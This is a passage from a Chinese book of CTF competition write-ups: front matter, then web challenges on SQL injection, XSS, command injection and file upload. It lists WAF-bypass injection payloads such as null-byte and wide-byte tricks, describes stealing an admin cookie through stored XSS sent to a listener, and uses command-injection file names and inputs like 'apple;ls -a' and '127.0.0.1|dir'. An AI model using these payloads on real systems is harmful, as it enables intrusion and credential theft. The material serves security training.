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  内容简介


  CTF在网络安全领域特指网络安全技术人员之间进行技术竞技的一种比赛。CTF代替了以往黑客通过互相发起真实攻击进行技术比拼的方式，题目来自日常工作环境，并将其中的某些因素放大，以测试网络安全技术人员的技术水平和心理素质。本书汇集了数十道历年CTF比赛的经典赛题，既给出了解题思路，又还原了实际安全攻防场景，使比赛题目和日常工作有效互通。通过阅读本书，读者可以将Web安全、漏洞分析、安全编程等领域的知识点关联起来，开阔思路，提升自身的技术水平。


  本书适合参加CTF比赛的选手，以及网络安全从业人员、相关专业在校学生和关注网络安全技术的读者阅读。


  序


  我国是互联网用户数量全球第一的互联网大国。党的十九大制定了面向新时代的发展蓝图，提出要建设网络强国、数字中国、智慧社会，推动互联网、大数据、人工智能和实体经济深度融合，发展数字经济、共享经济，培育新增长点、形成新动能。


  信息产业的发展离不开网络安全的保驾护航。通过开展关键信息基础设施网络安全检查、组织网络安全应急演练、建立完善一系列制度机制，能够有力确保重大关键节点网络安全“零事故”。近年来，全球网络安全形势严峻，发生了多起个人信息与商业数据大规模泄露及违规利用事件，针对关键信息基础设施的恶意网络攻击频发，各国的网络空间对抗态势加剧。面对这种情况，如何加强网络安全建设，更好地应对网络安全威胁，更有力地保障个人与企业信息安全，是我们需要思考和完善的。


  未知攻，焉知防。在这个越来越繁荣且复杂的网络环境中，如何使网络安全技术人员合理地利用手中的各种工具和策略来提高网络安全对抗水平，是培养高素质的网络安全和信息化人才队伍急需解决的问题。在此背景下，国内安全行业引进了国际知名的CTF攻防对抗比赛，极大地提升了国内安全行业的整体技术水平。


  CTF比赛可以通过对抗模式提升国内安全研究人员的安全攻防实力，构建核心技术交流圈，并借助国际赛事积极与其他国家的选手进行对抗，增强我国的网络空间话语权，推进我国网络攻防技术水平稳步提高。同时，CTF比赛加强了安全制度建设，全面提升了个人信息及国家信息安全保障技术水平。CTF比赛为国内外的网络安全技术高手搭建了演练平台，在竞技和切磋的同时，唤起了大众对网络安全的重视。网络空间的竞争，归根到底是人才的竞争。我国多个行业已经举办的多场大型CTF比赛，不仅让大批优秀的技术人才脱颖而出，成为国内网络安全的中坚力量，也使网络攻防演练逐渐成为各企事业单位乃至国家层面培养网络安全人才的新模式。目前，国家电网、国资委等企事业单位每年举办的CTF比赛有几十场，其重视程度可见一斑。


  网络攻防对抗的涉及面非常广，包含Web安全、渗透测试、逆向分析、漏洞利用、加密解密、隐写溯源等，每个方向都需要深入研究才能掌握。参与CTF比赛的选手需要分工合作，解决各自熟悉和擅长领域的问题，才能共同完成比赛。


  本书是国内第一本专门讨论CTF赛题的书。本书整理了数十道国内外CTF比赛中的经典赛题，并对每道题目的解题思路进行了详细的分析和讲解。参与CTF比赛的选手能够通过本书快速了解CTF比赛的各种题型，并通过详细的目录分类全面了解每种题型涉及的技术细节。同时，本书对每种题型都给出了例题及相应的解题思路。初学者尤其可以通过阅读这些经典题目，分类理解题目要求，快速理清解题思路。这些无不体现出作者对读者的照顾。


  本书不仅可以帮助初学者走进CTF比赛的大门，还可以为CTF比赛选手提供有针对性的参考。本书对企业网络安全运营人员、网络安全从业人员了解网络攻防技术也有很大的帮助。


  北京天融信网络安全技术有限公司CEO

  李雪莹　博士


  前言


  CTF（Capture the Flag）起源于1996年的DEFCON全球黑客大会，是一种流行的信息安全竞赛形式。安全研究人员及白帽子通过这种竞赛形式进行攻防技术的比拼及演练，提高了自身的技术能力。近几年，CTF比赛在国内的发展如火如荼，越来越多的选手来到这个新的赛场，其中既有刚刚进入大学校门的学生，也有网络安全从业者，更有一些顶级黑客。尽管CTF比赛的热度不断提升，但市面上与之相关的书籍并不多。天融信阿尔法实验室组织编写了这本书，希望帮助读者深入了解CTF比赛的常规内容及形式。


  传统的CTF比赛主要有线上比赛和线下比赛两种形式，在比赛模式上大体分为解题模式、攻防模式和混合模式。无论哪种模式，都涉及实操分析和解题的过程。本书从国内外CTF赛事中选择了具有代表性的题目进行讲解。通过阅读本书，读者可以了解CTF比赛的题目类型及相应的解题思路，从而在比赛中更加得心应手。


  本书内容


  本书共分6章。前5章按照比赛题型划分为Web类赛题、可执行程序类赛题、PWN类赛题、PPC类赛题、安全杂项类赛题，对每种题型都介绍了典型的赛题，并提供了相应的解题思路。第6章简单介绍了知名的CTF比赛。


  读者既可以从头开始阅读本书，也可以挑选自己感兴趣的章节阅读。


  第1章　Web类赛题


  Web类赛题在CTF比赛中占有较大比重。本章主要介绍Web类赛题及其解题思路，同时介绍了SQL注入、XSS等Web安全知识点。


  第2章　可执行程序类赛题


  可执行程序类赛题是CTF比赛的必出题目。本章主要介绍可执行程序类赛题，尤其是逆向题目的解题思路，同时介绍了Windows、Linux、Android、Python、.NET等主流平台的逆向分析技巧。


  第3章　PWN类赛题


  PWN类赛题属于漏洞利用题目，在CTF比赛中的数量较少，但往往分值较高。本章介绍了Windows及Linux平台漏洞利用题目的解题思路及相关知识点。


  第4章　PPC类赛题


  编程是网络安全从业者应该具备的基本能力。本章主要讲解如何在CTF比赛中解答编程类赛题，涉及工具编写、算法等内容。


  第5章　安全杂项类赛题


  安全杂项类赛题是CTF比赛中常见的一类题目，通常涉及信息隐写、密码学、流量分析、电子取证、数据分析、大数据等知识点，可以说是包罗万象。本章挑选了密码学和隐写两种常见的题目进行分析和讨论。


  第6章　比赛介绍


  本章主要对国内外的知名CTF比赛进行介绍。


  读者对象


  • 网络安全技术人员；安全运维人员。


  • 攻防技术研究人员；安全开发人员。


  • 网络及信息安全相关专业学生。


  • CTF职业比赛战队队员及参赛选手。


  • 网络安全及攻防技术爱好者。


  交流及反馈


  读者在阅读本书的过程中如有疑问，可以关注微信公众号“天融信阿尔法实验室”并给我们留言，我们非常愿意与您交流相关技术问题。


  资源下载及读者服务


  读者可以访问微信公众号“天融信阿尔法实验室”，下载本书相关资源。我们也会通过该公众号发布与CTF比赛及网络安全技术有关的文章。


  读者也可以扫描本书封底的二维码并发送“40890”，关注博文视点微信客服号，获取本书的链接列表及相关资源等。


  致谢


  本书由张黎元、郭勇生、王新辉共同编写。


  本书的出版首先要感谢电子工业出版社博文视点潘昕编辑的辛勤劳动及付出。


  由衷感谢天融信网络安全技术有限公司的领导和同事们的支持。


  感谢天融信网络安全技术有限公司CEO李雪莹女士在天融信阿尔法实验室的建设及本书编写过程中给予的大力支持。天融信阿尔法实验室浓厚的技术研究氛围及弹性的工作时间，使本书的作者们可以潜心研究技术并编写本书。


  本书的编写得到了张伟业、黄庆涛等同事的帮助，在此向他们表示感谢。


  特别感谢我的挚友，国内Web安全领域著名的白帽子、华为信息与网络安全专家、《Web前端黑客技术揭秘》一书的作者xisigr。他阅读本书的初稿后，在技术方面提出了很多诚恳的建议及意见，促使我们精益求精地对待本书的编写和出版工作。


  感激并感谢我的父母，是他们的不断鼓励及默默支持造就了现在的我。感谢我挚爱的妻子，以及她的无私奉献和深情关切。


  关于天融信阿尔法实验


  天融信阿尔法实验室成立于2011年，有专职技术研究人员数十名。


  天融信阿尔法实验室秉承“攻防一体”的理念从事攻防技术研究，在前瞻性安全技术研究领域积极开拓。作为天融信网络安全技术有限公司的专业安全产品和服务支撑团队，天融信阿尔法实验室精湛的专业技术、丰富的排异经验，为公司产品的研发和升级、所承担的国家重大安全项目及客户服务提供了强有力的技术支撑。


  张黎元


  第1章　Web类赛题


  Web类赛题在CTF比赛中占有很大的比重。在大部分解题模式赛制的CTF比赛中，Web类赛题占比通常为20%～40%。

 
 1.1　SQL注入漏洞
 
 SQL注入（SQL Injection）是Web开发中最常见的一种安全漏洞。攻击者可以利用SQL注入漏洞从数据库中获取敏感信息，或者利用数据库的特性执行添加用户、导出文件等一系列恶意操作，甚至获取数据库乃至系统的最高权限。造成SQL注入的原因是程序没有有效过滤用户的输入，使攻击者向服务器成功提交恶意的SQL查询代码，程序错误地将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外执行了攻击者精心构造的恶意代码。
 
 在CTF比赛中，SQL注入题目考察的是选手对各种函数、符号等进行替换、删除或禁止使用操作的熟悉程度。在解答SQL注入题目时，往往需要选手具有发现手工注入与绕过各种Web应用防护系统（WAF）的能力。
 
 为了让读者尽可能全面地了解不同类型SQL注入题目的解法，下面将列举一些CTF比赛中出现过的SQL注入题目。
 
 关键字绕过
 
 考察的知识点
 
 • 对常用关键字禁止使用或删除的绕过。
 
 • 手动构造注入语句。
 
 常见的注入绕过方式
 
 在注入过程中，攻击者输入“select”“union”“and”“or”“=”及空格等，往往会被程序的防御机制阻断，即程序不允许执行含有这些关键字的语句。攻击者在尝试绕过这些检测机制时通常会采取以下手段。
 
 （1）编码绕过
 
 • select URL编码：%73%65%6c%65%63%74。
 
 • select双重编码：%25%73%25%65%25%6c%25%65%25%63%25%74。
 
 • admin：CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)SELECT(0x3C 613E61646D696E3C2F613E,0x2f61))。
 
 除了可以使用在线编码，还可以使用一些本地工具，例如Burp Suite中的Decoder，如图1-1所示。
 
  
  [image: ] 
  图1-1
 
 
 
 （2）字母大小写绕过
 
 SeleCT、uNioN、And、Or等。
 
 （3）在关键字内添加无效字符
 
 SE%00LECT、Sel%0bECT、%00-%0b及其他空字符。
 
 （4）内联注释绕过
 
 /*! code */、/*! uNION */、/*! SelECt */。
 
 （5）利用被删除的关键字绕过
 
 如果程序对某些关键字采取了删除措施，那么攻击者可能会利用“SEL + SELECT +ECT”的方式构造SELECTECT语句。此时，如果程序删除了SELECT关键字，就相当于让攻击者成功输入了SELECT关键字。同理，在删除其他字符（例如“<>”）时，攻击者也可以使用该字符实现绕过（例如“S<>ELECT”“UN<>ion”等）。
 
 （6）等价函数与命令绕过
 
 例如：用“&&”“||”代替“and”“or”；用“%20 %09 %0a %0b %0c %0d %a0 /**/制表符 ()反引号”代替空格；用“and 1 like 1”代替“and 1=1”；用“and 2>1”代替“and 1=1”；用“and 2<1”代替“and 1=2”；用sleep()代替benchmark()；用concat_ws代替group_concat()；用mid()、substr()、strcmp()代替substring()；用 @@user代替user()；用@@datadir代替datadir()。
 
 （7）宽字节注入
 
 当数据库编码为GBK，PHP开启了GPC等，并且在单引号前添加了反斜杠“\”时，输入“%df%27”，程序会在“%27”前添加一个“\”，构成“%df%5c%27”。
 
 在GBK编码中，“%df%5c”是一个宽字符串，后面的“%27”不会被处理。这相当于插入单引号，形成了注入。
 
 （8）溢出绕过
 
 一段常见的溢出绕过代码如下。
 
 
  [image: ]
 
 
 （9）其他符号绕过
 
 不同的WAF对输入代码的处理方式不尽相同。如果遇到采用上述方式无法绕过且确实需要注入的题目，应尽量进行模糊测试（Fuzzing），看看哪些函数是不可用的，哪些函数是可用的。笔者曾遇到将\n\r\t这样的字符添加在关键字中，程序在处理换行时自动把下一行接到上一行从而构成语句的情况。还可以使用一些数学运算函数（例如“exp(x):”，取常数e的x次方，e是自然对数的底）构造报错语句，从而实现注入。
 
 题目1　简单的编码绕过
 
 题目概况
 
 编码绕过是一类常见的SQL注入题目，在CTF比赛中经常出现。下面通过一些解题关键点分析这类题目的解题思路。
 
 解题思路
 
 查看源代码，发现注释中有如下内容，如图1-2所示。
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 因为这里使用了两个urldecode()函数，所以使用htmlspecialchars()和addslashes()函数过滤的单引号已经没有用了。此时，可以使用%252527绕过对这两个函数的过滤，然后引入单引号，输出以下报错信息。
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  图1-2
 
 
 
 可以看出，这里是SQLite注入。尝试进行UNION注入，代码如下。
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 报错，可以肯定列数大于1。继续注入，代码如下。
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 由于输出为“2”，所以，可以使用sqlite_master命令得到数据库的列和表。
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 输出如下内容。
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 使用下面的语句，得到相关信息。
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 输出如下内容，拿到flag。
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 相关知识点
 
 • urldecode()函数能将编码后的URL字符串还原成未编码的样子。编码使用“%##”格式。
 
 • htmlspecialchars()函数能把预定义的字符转换为HTML实体。
 
 • addslashes()函数能返回在预定义字符之前添加反斜杠的字符串。
 
 题目2　截断绕过
 
 题目概况
 
 URL中的“%00”在ASCII码中表示0，而ASCII码中的0表示字符串的结束，所以，当URL中出现“%00”时，服务器会认为URL已经结束，不会再去检测后面的内容，而这将引发绕过验证。在0CTF比赛中就出现过这样的题目。
 
 解题思路
 
 如图1-3所示，这是一道简单的注入题。题目明示要靠注入找到flag，但WAF屏蔽了一些关键字。
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  图1-3
 
 
 
 如图1-4所示，检测注入点。在地址栏中输入以下内容。
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  图1-4
 
 
 
 可以看出，注入点就是id，但后面的参数中有一些被WAF检测出来了，所以输入的内容被拦截了。进行一轮模糊测试，得到下面的测试结果。
 
 • 已被检测的关键字：SELECT、WHERE、FROM。
 
 • 未被检测的关键字：UNION、LIMIT、AND、OR、LIKE，以及符号“*”“&”“#”等。
 
 接下来，解题思路就可以简化成：使用SELECT语句且不被WAF拦截（也就是关键字绕过）。
 
 如图1-5所示，尝试使用编码绕过、大小写绕过、内联注释、在关键字内添加无效字符等方法后，发现可以利用在关键字内添加无效字符的方法绕过“SEL%00ECT”。
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  图1-5
 
 
 
 可以看到，在关键字内添加“%00”即可成功绕过WAF的检测。继续进行注入，看看数据库中有哪些表。
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 得到的表名如下。
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 在结尾处有我们最关心的flag表。构造语句，注入flag表，如图1-6所示。
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  图1-6
 
 
 
 如果对手工注入不太熟悉，可以使用sqlmap中的template脚本。
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 将InsertNullCharInSQLKeywords.py文件复制到sqlmap的template目录下，py文件内容如下。
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 题目3　二次注入
 
 题目概况
 
 二次注入是指已存储在数据库内的数据被再次调用时导致的注入攻击。
 
 在SSCTF比赛中，Web类分值达500分的题目考察的就是二次注入。下面分析一下二次注入题目的解题思路。
 
 解题思路
 
 打开题目提供的地址页面，了解页面的内容和功能。在CTF比赛中，题目设置大都是有目的的，页面内容大都会包含指引信息。所以，了解页面的内容和功能，可以帮助我们判断题目的考察点。
 
 如图1-7所示，这是一个注册页面，也就是说，通过这个页面可以向数据库写数据。还有一个查询页面，用于查询邮箱和返回用户名称。注册一个用户名为“root'”、密码为“root”、邮箱为“root@admin.com”的用户，测试一下是否可以将单引号写入数据库。
 
 单击“ok”按钮，返回“yes”，看来注册信息已经写入数据库了。接下来，尝试一下是否可以注入。查询注册的邮箱，如图1-8所示。
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  图1-7
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  图1-8
 
 
 
 如图1-9所示，页面报错，看来在调用用户名“root'”时已经把单引号执行了。从错误信息中可以看出，目标数据库是MySQL数据库。从提示语句中也可以知道，查询语句已经把单引号引入查询语句了，说明这里存在注入漏洞。
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  图1-9
 
 
 
 通过分析可知，这是一个二次注入漏洞。下面我们需要读取有用的信息。利用报错信息查看数据库表名。报错查询方法有很多种，通过floor()、extractvalue()、updatexml()、NAME_CONST等函数均可查询，如表1-1所示。
 
  
  表1-1

  [image: ]
 
 
 这里使用的是floor()函数，注册的账号为“1123'”，邮箱为“test1223@123.com”，代码如下，如图1-10所示。
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  图1-10
 
 
 
 如图1-11所示，在查询页面输入注册的邮箱地址，在返回的错误信息中可以看到，得到了一个表名“flag”。
 
  
  [image: ] 
  图1-11
 
 
 
 既然有了表名，就修改语句，以便查看flag表的内容。语句如下，如图1-12所示。
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  图1-12
 
 
 
 从报错信息中可以得到flag。
 
 相关知识点
 
 以上介绍的是一个模拟的题目环境。在历年的CTF比赛中，类似的题目经常出现。
 
 报错注入是如何产生的？程序为何会报错？主要由rand和group by的冲突所致。在MySQL的文档中有这样的描述：“RAND()in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND()values in an ORDER BY clause,because ORDER BY would evaluate the column multiple times.”大意是：那些不可以作为order by的条件字段，也不可以作为group by的条件字段。
 
 为什么rand和order by不可以一起使用呢？一起使用为什么会报错呢？
 
 新建一条记录，执行命令“select count()from test group by floor(rand(0)2);”，发现无论执行多少遍，都不会报错。添加一条记录，情况是一样的。然而，当有3条记录时，执行此命令，将开始报错。由此可知，3条及更多的记录才能引发报错。
 
 我们把随机因子去掉，再试试看。在只有1条记录时，无论程序执行多少次，都不会报错；在有2条记录时，会随机报错；在有3条记录时，也会随机报错。
 
 MySQL官方给过提示：在进行查询时，如果使用rand()函数，则该值会被多次计算。“被多次计算”是什么意思？就是在使用group by时，floor(rand(0)_2)会执行一次；如果虚表中没有记录，那么在插入虚表时，floor(rand(0)_2)会再执行一次。分析floor(rand(0)_2)报错的过程就能明白，在一次多记录查询中，floor(rand(0)_2)的值是定性的，为0、1、1、0、1、1……（这个顺序很重要）报错实际上就是floor(rand(0)_2)被多次执行导致的。
 
 下面分析一下“select count(_)from TSafe group by floor(rand(0)_2);”的查询过程。
 
 ①在进行查询前，默认建立空虚拟表。
 
 ②取第1条记录，执行floor(rand(0)2)，发现结果为0（第1次计算）；查询虚拟表，发现0的键值不存在，floor(rand(0)2)会再执行一次，结果为1（第2次计算）；插入虚表，这时第1条记录查询完毕。
 
 ③查询第2条记录，再次执行floor(rand(0)2)，发现结果为1（第3次计算）；查询虚表，发现1这个键值存在，所以floor(rand(0)2)不会执行第2次；直接使用count()函数进行加1操作，第2条记录查询完毕。
 
 ④查询第3条记录，再次执行floor(rand(0)2)，发现结果为0（第4次计算）；查询虚表，发现键值中没有0，数据库尝试插入一条新的数据。在插入数据时，floor(rand(0)2)再次执行，作为虚表的主键，其值为1（第5次计算）。因为1这个主键已存在于虚拟表中，计算得到的值也为1（主键的键值必须是唯一的），所以插入时会直接报错。
 
 在整个查询过程中，floor(rand(0)2)执行了5次，查询原数据表的操作进行了3次。这就是数据表中需要有至少3条数据且同时使用rand和order by才会报错的原因。
 
 我们同样可以对不添加随机因子的情况进行推理。由于没有添加随机因子，所以，floor(rand()2)是不可测的：在有2条数据时，只要出现第3次计算的值与第2次和第4次计算的值不一样的情况，就会报错。最重要的是：前几条记录被查询后，虚表中不可能存在键值0和1；如果存在，那么无论有多少条记录，都不会报错（floor(rand()2)不会再执行并作为虚表的键值），这也是如果不添加随机因子，则有时会报错，有时不会报错的原因。
 
 在前面的记录让虚表变成现在这样之后，由于不管查询多少条记录，都能在虚表中找到floor(rand()2)的值，即不会再次计算，只是简单地增加count()的值，所以，程序不会报错。例如，floor(rand(1)*2)表示在前2条记录被查询后，虚表中已经存在键值0和1了，所以后面就不会报错了。
 
 其他函数的报错，请读者自行查找资料，找出原因——自己找到的答案更珍贵，这也是CTF比赛的乐趣所在。
 
 小结
 
 在二次注入的基础上增加加密算法，是近几年CTF比赛的一个命题趋势，即不会只考察单一的知识点，选手需要将两个或两个以上的知识点组合使用，才能得到flag。在一些综合性CTF比赛中，单纯的Web类赛题已经很难见到了，大部分Web类赛题都需要选手运用逆向、密码学、Web方面的知识点来解答。
 
 
 1.2　XSS漏洞
 
 跨站脚本“Cross-Site Scripting”的英文首字母缩写本应为“CSS”，但因为“CSS”已在网页设计领域使用，即层叠样式表“Cascading Style Sheets”，所以将“Cross”（意为“交叉”）改以交叉形的“X”为缩写。XSS按照一般的分类方式，可以分为两种。
 
 • 反射型XSS
 
 • 存储型XSS
 
 在CTF比赛中，很少碰到反射型XSS，题目涉及的基本上是存储型XSS。顾名思义，存储型XSS就是将XSS代码通过代码注入或其他方式保存在网页中，如果有人打开这个页面，就会执行里面的攻击代码，完成一次被动攻击。简言之，XSS就是想办法将可执行代码（例如JavaScript、VB、ActiveX、Flash）嵌入目标页面，等待“鱼儿”上钩。
 
 题目1　留言板
 
 题目概况
 
 留言板是XSS漏洞的第一高发位置。下面给出一道非常简单的XSS题目（来自QUALS CTF）。让我们从发现线索开始。
 
 信息收集
 
 假设你是一名警察，正在调查一个贩卖违禁物品的网站，你需要想办法获得这个网站的管理员的线索。
 
 首先，简单浏览网站的页面，如图1-13所示。
 
 我们从标题栏上面的功能看起。单击“About”选项，除了网站介绍，什么都没有，如图1-14所示。
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  图1-13
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  图1-14
 
 
 
 接下来，看看第二个功能“Products”。界面上展示了网站销售的所有物品。单击进入其中一个物品的界面，也只有填写电子邮箱和购买数量的功能。看看网站的URL，感觉可能存在一个伪静态注入点，如图1-15所示。暂且不管，看看最后一个功能。
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  图1-15
 
 
 
 如图1-16所示，这是一个在线给管理员留言的界面，明确告知访问者：管理员会阅读并且回复你的信息。
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  图1-16
 
 
 
 攻击测试
 
 一般看到留言板，就应该想到可能存在XSS。我们来尝试一下。
 
 打开https://requestb.in/，新建一个RequestBin，将生成的地址插入留言，代码如下，如图1-17和图1-18所示。
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  图1-17
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  图1-18
 
 
 
 成功获得了管理员的Cookie。如图1-19所示，利用Burp Suite或浏览器插件修改当前Cookie为管理员的Cookie，登录管理员账号，找到相关信息。
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  图1-19
 
 
 
 题目2　评论区
 
 题目概况
 
 评论区是XSS漏洞的第二高发位置。在很多技术高手的博客里，我们会经常看到针对评论区的测试代码。下面给出一道题目（ImgBlog-1，来自ICECTF）。
 
 解题思路
 
 打开题目网站，映入眼帘的是一个个人博客站点，页面上方有登录和注册的功能，如图1-20所示。
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  图1-20
 
 
 
 首先，尝试登录。使用简单的admin/admin等弱口令组合，以及简单的注入，都没有奏效。所以，直接注册一个账号。登录后，对帖子发表评论，发现网站可能存在XSS漏洞，如图1-21所示。
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  图1-21
 
 
 
 因此，尝试执行简单的XSS命令，以确定是否可以进行XSS攻击。
 
 输入“test<scrip>alert("whoops");</scrip)”命令，提交评论——什么都没有发生。刷新页面——确实什么都没有发生。仔细分析网站的其他功能，发现每条评论都包含报告按钮和评论的固定链接。单击报告按钮，依然什么都没有发生。单击固定链接，意外地得到了我们想要的结果，如图1-22所示。
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  图1-22
 
 
 
 看来，可以利用XSS漏洞获取admin账号的Cookie，从而构造XSS代码。
 
 使用nc进行监听，效果是一样的。
 
 
  [image: ]
 
 
 在服务器上监听12121端口，获取返回的数据。
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 到此，就利用XSS漏洞获取了管理员的Cookie。用Chrome的Edit This Cookie插件或Burp Suite将我们的Cookie修改为刚刚拿到的Cookie，刷新一下，如图1-23所示，将跳转到一个可以上传图片的界面——这里存在命令执行漏洞。
 
 这个问题超出了XSS的范畴，相关内容将在1.3节讲解。
 
 相关知识点
 
 本题的前半部分没有难点，算是一道初级XSS题目（在解题过程中获取了Cookie）。在CTF比赛这种对方可能会立即单击我们的XSS代码的对抗情境中，可以使用nc监听一个端口以等待对方访问。在CTF比赛中，只要看到输入框，就可以输入XSS代码进行尝试，可能会获得意想不到的结果。
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  图1-23
 
 
 
 题目3　绕过JavaScript限制
 
 题目概况
 
 本节分析一道简单的XSS题目，使用JavaScript处理输入的字符串来过滤关键字。这是一道在线题目，见链接1-1。读者可以先试着解答这道题目，如果无法完成，再来看下面的解题思路分析。
 
 解题思路
 
 访问题目页面，如图1-24所示。
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  图1-24
 
 
 
 题目说明告诉我们，这是一道XSS题目，所以，可以直接输入命令进行尝试，如图1-25所示。
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  图1-25
 
 
 
 题目不允许我们填写这种格式的命令。这看起来像是前端的JavaScript验证。打开Chrome的调试器，如图1-26所示。在这里，用maxsize限制长度为10，用pattern限制内容只能是大小写字母。由于js脚本的内容可以随意修改，所以将其内容修改如下。
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  图1-26
 
 
 
 这样，输入就完全不受限制了。再尝试一下，发现并没有弹出我们想要的结果“1”。继续进行调试，如图1-27所示。
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  图1-27
 
 
 
 由于“<”和“>”分别被替换成“&lt;”和“&gt;”，所以无法弹出。页面中嵌了一个ex1.js脚本，具体如下。
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 注意以下内容。
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 这段代码用replace()函数将输入的数据中的“<”“>”分别替换成“&lt;”“&gt;”，因此，我们只要把这段修改为以下内容即可。
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 执行之前输入的命令，如图1-28所示，成功弹出“1”。仔细看一下题目要求，弹出的是“Ex1”，因此将弹出内容改为“Ex1”，答题成功。
 
 小结
 
 本题主要考察如何使用JavaScript在前端进行数据处理。只要去掉JavaScript的限制，就可以解题了。
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  图1-28
 
 
 
 
 1.3　命令执行漏洞
 
 命令执行漏洞是指攻击者通过浏览器发送恶意的cmd/bash命令至服务器程序，服务器程序没有正确处理所接收的数据，而是执行了系统命令，进而对服务器造成威胁。
 
 当应用程序需要调用一些外部程序来处理内容时，会使用一些系统命令。攻击者一般会通过“&”“|”“;”等符号来分隔原有的命令，在执行完原有的命令后，紧接着执行攻击者拼接的命令，对系统造成危害。
 
 不管是在CTF比赛中，还是在真实的网络环境中，通常都会存在执行系统命令的位置。例如，在ping、文件长度或类型判定、图片编辑处理等操作中，都可能存在命令执行漏洞。
 
 题目1　上传图片
 
 题目概况
 
 命令执行漏洞，除了可以用来接收URL内容，文件名称也是可以利用的。imgBlog-2（来自ICECTF）就是这样一道题目。本题与1.2节的“题目2”（imgBlog-1）合并，就是一道完整的题目。
 
 imgBlog-2是一道命令执行题目，让我们一起来攻克它！
 
 解题思路
 
 我们已经进入一个图片上传页面，如图1-29所示。
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  图1-29
 
 
 
 在这里可以向服务器发送POST数据。首先，分析一下其中是否存在注入漏洞。经过模糊测试，未发现注入漏洞。因此，可以尝试上传图片，获取Shell。
 
 上传一个PHP文件，看一下返回结果。如图1-30所示，提示上传的文件不是图片，说明网站设置了文件检测机制。尝试使用各种上传绕过方式，都失败了，浪费了很多时间，感觉走进了死胡同——也许这道题根本不是考察上传绕过的。
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  图1-30
 
 
 
 接下来，上传一个正常的图片文件，看看结果如何。如图1-31所示，提示网站的图片上传功能还没有实现，也就是说，即使能上传PHP文件（文件没有被拦截），也无法得到Shell。
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  图1-31
 
 
 
 回顾已经进行的操作，发现第一次上传PHP文件时返回的错误提示信息“ascii text,with no line terminators”可能对我们有帮助。搜索一下，发现有人在网上问过这个问题，如图1-32所示。
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  图1-32
 
 
 
 可以看到，问问题的人使用了file命令，应该是执行了“file+空格+图片名称”命令。既然执行了file命令，那么，如果网站没有对图片名称进行过滤，我们在解题时就可以构造类似“file imgname;其他命令”的命令。
 
 尝试将图片命名为“apple;ls -a”并上传到服务器，如图1-33所示。
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  图1-33
 
 
 
 可以看到，确实执行了ls命令并返回了内容，其中的flag.txt正是我们想要的。
 
 接下来，通过“cat flag.txt”命令查看flag的内容。将图片命名为“apple;cat flag.txt”，发现没有成功读取flag的内容。这是为什么呢？因为在进行测试之后，程序会把“。”过滤掉（这也是第一次上传123.php之后返回的是“123php”的原因）。
 
 既然知道了原因，就可以使用通配符或“_”来代替文件名。将图片命名为“`apple;catflag`”，如图1-34所示，成功拿到flag。
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  图1-34
 
 
 
 小结
 
 一些应用在处理接收到的图片时，会取原图片的名称来拼接成一条命令，以执行重命名、移动、判断类型等操作，但对所接收的文件的名称没有进行严格的字符判断，使攻击者可以通过“;”“|”“&”“&&”等字符将原来的命令扩展，在执行原来的命令后执行扩展的命令，从而形成命令执行漏洞。
 
 还有一些应用，为了方便用户，使用ping命令等来检测机器是否“存活”。在这种情况下，攻击者可以在IP地址后面加上这些符号，再执行自己的命令。
 
 题目2　ping命令工具
 
 题目概况
 
 打开网站，标题是“我刚做了一个ping命令的小工具，快试一下吧！”，页面上有一个输入框和一个提交按钮，如图1-35所示。
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  图1-35
 
 
 
 解题思路
 
 这是一道“送分题”。一看到“ping”，我们就能梳理题目的大致逻辑：在输入框内输入内容；网站后端程序接收参数；将输入的内容与ping命令进行拼接并执行，将结果返回前端。如果网站对输入内容的验证不够严格，就会出现命令执行漏洞。下面就按照这个思路尝试解题。
 
 在输入框中输入“127.0.0.1”，如图1-36所示。通过返回结果的格式，猜测这可能是一台Windows机器。
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  图1-36
 
 
 
 继续进行测试。在输入框中输入“127.0.0.1|whoami”，如图1-37所示，提示格式不正确，猜测网站可能使用了黑白名单功能。
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  图1-37
 
 
 
 进行模糊测试。在输入框中输入“127.0.0.1|dir”，发现dir命令是可用的。如图1-38所示，列出了一个目录。
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  图1-38
 
 
 
 目录内容为“127.0.0.1|dir DERFTVYGUHJIBGVYVTY”，如图1-39所示。
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  图1-39
 
 
 
 找到flag文件，直接访问，打开了一个空白页面（使用type等命令也无法读取其内容）。由于题目要求我们读取flag文件（CTF比赛环境和实际网络环境的区别就体现在这里：在实际网络环境中，我们无法确定网站是否存在漏洞；在CTF比赛环境中，我们可以确定网站一定存在漏洞），所以这里很可能存在文件包含问题。
 
 在输入框中输入“file=DERFTVYGUHJIBGVYVTY/flag.php”，果然出现了我们预想的结果，如图1-40所示，答题结束。
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  图1-40
 
 
 
 小结
 
 在测试服务器活性、延迟及文件改名等需要使用系统Shell才能解答的题目中，都可能存在命令执行漏洞。碰到这类题目，可以尝试在“|”“||”“&”“&&”等符号后面使用其他命令。如果网站没有对输入的数据进行校验，就可以判断其中存在命令执行漏洞。此外，CTF比赛环境和实际网络环境区别很大。在CTF比赛环境中，我们可以确认网站一定存在问题，只要考虑使用什么方式找出问题即可。
 
 这道题目的文件包含问题是在解题过程中猜出来的。其实，在执行dir命令时就发现了一个aa.php.bak文件，我们也可以通过阅读这个文件的源代码来读取flag文件。
 
 
 1.4　文件上传漏洞
 
 文件上传漏洞是在渗透测试中经常会遇到的一个漏洞。因为上传文件的操作很直接，所以，如果攻击者上传了可解析的文件，就相当于拥有了网站的运行权限，在权限足够的情况下可以执行很多操作。
 
 在正常情况下，服务器会对上传文件的格式或内容进行校验，几乎不可能允许直接上传文件。攻击者需要对不同的防御方式进行绕过，才能上传文件。常见的上传绕过方法列举如下。
 
 • 客户端绕过：抓包、改包。
 
 • 服务端绕过：文件类型、文件头、文件后缀。
 
 • 配合文件包含漏洞绕过。
 
 • 配合服务器解析漏洞绕过。
 
 • CMS、编辑器漏洞绕过。
 
 • 配合操作系统文件命名规则绕过。
 
 • 配合其他规则绕过。
 
 • WAF绕过。
 
 题目1　MIME
 
 题目概况
 
 在上传过程中修改MIME（Multipurpose Internet Mail Extensions，多用途互联网邮件扩展类型）是一种绕过验证的方法。在CTF比赛中，一般不会出现MIME题目，而是在题目中添加一些冷门的知识点，以考察选手对题目的理解能力和信息搜集能力。
 
 解题思路
 
